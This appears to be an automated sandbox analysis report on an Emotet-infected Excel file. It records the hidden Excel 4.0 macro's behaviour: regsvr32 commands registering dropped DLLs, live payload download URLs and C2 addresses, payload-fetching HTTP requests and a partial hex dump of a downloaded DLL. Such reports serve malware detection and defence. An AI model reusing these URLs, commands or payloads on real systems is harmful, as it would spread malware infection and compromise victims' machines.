Edit tour

Windows Analysis Report
Scan 2022.20.05_0910.xls

Overview

General Information

Sample Name:	Scan 2022.20.05_0910.xls
Analysis ID:	632106
MD5:	93ba39759e944e0a660cf1a72919ff59
SHA1:	0d87f3752893a11174df5d1222215014e59d0fd5
SHA256:	72d8274eff2d60af4d452efbfb42abf5ce3ac64ea949772350b3c628c842941a
Tags:	xls
Infos:

Detection

Hidden Macro 4.0, Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (drops PE files)

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Found malicious Excel 4.0 Macro

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Office process drops PE file

Found Excel 4.0 Macro with suspicious formulas

Machine Learning detection for dropped file

Drops PE files to the user root directory

Hides that the sample has been downloaded from the Internet (zone.identifier)

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Potential document exploit detected (performs DNS queries)

IP address seen in connection with other malware

Downloads executable code via HTTP

Document misses a certain OLE stream usually present in this Microsoft Office document type

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

PE file contains an invalid checksum

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Detected TCP or UDP traffic on non-standard ports

Registers a DLL

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Drops PE files to the user directory

Found large amount of non-executed APIs

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1704 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

regsvr32.exe (PID: 2976 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2188 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\PlMfP\OpoHHoBHS.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2396 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2212 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AVQhDTOoTQ\JuebGslFXTeyRNG.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1800 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2404 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\IWJyiUbrMYkKNab\HrQqTfHWMtY.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 972 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

svchost.exe (PID: 2472 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: C78655BC80301D76ED4FEF1C1EA40A7D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.919789550.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1248680431.0000000000160000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1249251446.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000008.00000002.930405356.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.919412326.0000000000140000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.1249191933.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.1248874495.0000000000510000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.914158918.00000000003E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000008.00000002.930201138.00000000003C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.1248687990.0000000000140000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.1249180337.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.regsvr32.exe.3e0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.140000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.regsvr32.exe.510000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.regsvr32.exe.140000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.regsvr32.exe.3c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.160000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.regsvr32.exe.140000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.regsvr32.exe.3c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.3e0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.140000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.160000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.regsvr32.exe.510000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 7 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Scan 2022.20.05_0910.xls	Virustotal: Detection: 44%			Perma Link
Source: Scan 2022.20.05_0910.xls	ReversingLabs: Detection: 36%

Antivirus detection for URL or domain

Source: https://173.82.82.196:8080/	URL Reputation: Label: malware
Source: http://mcapublicschool.com/Achievements/r4psv/	Avira URL Cloud: Label: malware
Source: https://173.82.82.196/q	Avira URL Cloud: Label: malware
Source: http://kuluckaci.com/yarisma/cgi-bin/aIuI4Ukdtl730sP1F/	Avira URL Cloud: Label: malware
Source: https://173.82.82.196:8080/D.	Avira URL Cloud: Label: malware
Source: https://173.82.82.196:8080/bL	Avira URL Cloud: Label: malware
Source: https://173.82.82.196:8080/H.	Avira URL Cloud: Label: malware
Source: https://173.82.82.196/	URL Reputation: Label: malware
Source: https://173.82.82.196:8080/e	Avira URL Cloud: Label: malware
Source: https://microlent.com/admin/3/	Avira URL Cloud: Label: malware
Source: https://173.82.82.196/vL	Avira URL Cloud: Label: malware
Source: https://173.82.82.196:8080/i	Avira URL Cloud: Label: malware
Source: https://173.82.82.196/4.	Avira URL Cloud: Label: malware
Source: https://173.82.82.196/nL	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: kuluckaci.com	Virustotal: Detection: 7%	Perma Link
Source: mcapublicschool.com	Virustotal: Detection: 8%	Perma Link
Source: moorworld.com	Virustotal: Detection: 5%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\f6TC4C6PwMWzjYykKV327CT8vWcYjtGvLL[1].dll	Metadefender: Detection: 28%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\f6TC4C6PwMWzjYykKV327CT8vWcYjtGvLL[1].dll	ReversingLabs: Detection: 40%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Cmk1Nr[1].dll	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\xqJfpnc0wEmcroPdpB[1].dll	Metadefender: Detection: 34%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\xqJfpnc0wEmcroPdpB[1].dll	ReversingLabs: Detection: 42%
Source: C:\Users\user\uxevr1.ocx	ReversingLabs: Detection: 65%
Source: C:\Users\user\uxevr2.ocx	Metadefender: Detection: 34%	Perma Link
Source: C:\Users\user\uxevr2.ocx	ReversingLabs: Detection: 42%
Source: C:\Users\user\uxevr3.ocx	Metadefender: Detection: 28%	Perma Link
Source: C:\Users\user\uxevr3.ocx	ReversingLabs: Detection: 40%
Source: C:\Windows\System32\AVQhDTOoTQ\JuebGslFXTeyRNG.dll (copy)	Metadefender: Detection: 34%	Perma Link
Source: C:\Windows\System32\AVQhDTOoTQ\JuebGslFXTeyRNG.dll (copy)	ReversingLabs: Detection: 42%
Source: C:\Windows\System32\IWJyiUbrMYkKNab\HrQqTfHWMtY.dll (copy)	Metadefender: Detection: 28%	Perma Link
Source: C:\Windows\System32\IWJyiUbrMYkKNab\HrQqTfHWMtY.dll (copy)	ReversingLabs: Detection: 40%
Source: C:\Windows\System32\PlMfP\OpoHHoBHS.dll (copy)	ReversingLabs: Detection: 65%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\xqJfpnc0wEmcroPdpB[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr3.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr1.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr2.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\f6TC4C6PwMWzjYykKV327CT8vWcYjtGvLL[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Cmk1Nr[1].dll	Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 103.195.4.8:443 -> 192.168.2.22:49173 version: TLS 1.2

Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,	4_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,	7_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,	9_2_00000001800248B0

Software Vulnerabilities

Document exploit detected (drops PE files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: Cmk1Nr[1].dll.0.dr

Jump to dropped file

Document exploit detected (creates forbidden files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Cmk1Nr[1].dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\xqJfpnc0wEmcroPdpB[1].dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\f6TC4C6PwMWzjYykKV327CT8vWcYjtGvLL[1].dll	Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Source: global traffic

DNS query: name: microlent.com

Source: global traffic

TCP traffic: 192.168.2.22:49173 -> 103.195.4.8:443

Source: global traffic

TCP traffic: 192.168.2.22:49173 -> 103.195.4.8:443

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 173.82.82.196 8080

Jump to behavior

Source: Joe Sandbox View

ASN Name: MULTA-ASN1US MULTA-ASN1US

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: Joe Sandbox View

IP Address: 173.82.82.196 173.82.82.196

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKCache-Control: no-cache, must-revalidatePragma: no-cacheContent-Type: application/x-msdownloadExpires: Mon, 23 May 2022 07:56:43 GMTLast-Modified: Mon, 23 May 2022 07:56:43 GMTServer: Microsoft-IIS/8.5Set-Cookie: 628b3e3b9c6d7=1653292603; expires=Mon, 23-May-2022 07:57:43 GMT; path=/Content-Disposition: attachment; filename="f6TC4C6PwMWzjYykKV327CT8vWcYjtGvLL.dll"Content-Transfer-Encoding: binaryX-Powered-By: ASP.NETX-Powered-By-Plesk: PleskWinDate: Mon, 23 May 2022 07:56:43 GMTContent-Length: 365056Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 8a 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 f0 05 00 00 04 00 00 f5 54 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 aa 02 00 84 00 00 00 04 a2 02 00 50 00 00 00 00 00 03 00 fc d1 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 54 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc d1 02 00 00 00 03 00 00 d2 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f2 06 00 00 00 e0 05 00 00 08 00 00 00 8a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@

Source: global traffic	HTTP traffic detected: GET /admin/3/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: microlent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yarisma/cgi-bin/aIuI4Ukdtl730sP1F/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kuluckaci.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Achievements/r4psv/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: mcapublicschool.comConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.22:49177 -> 173.82.82.196:8080

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196

Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: regsvr32.exe, 00000004.00000003.973255810.0000000000496000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1248897597.0000000000496000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1248830029.0000000000301000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: 77EC63BDA74BD0D0E0426DC8F80085060.4.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 00000004.00000003.973255810.0000000000496000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1248897597.0000000000496000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1248892503.00000000004FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabme
Source: regsvr32.exe, 00000007.00000002.1248815645.00000000002E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabme56
Source: regsvr32.exe, 00000009.00000002.1248842369.00000000004C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en~
Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: regsvr32.exe, 00000004.00000002.1249073187.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1249032970.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1249049684.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: regsvr32.exe, 00000004.00000003.973255810.0000000000496000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1248897597.0000000000496000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1248815645.00000000002E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/
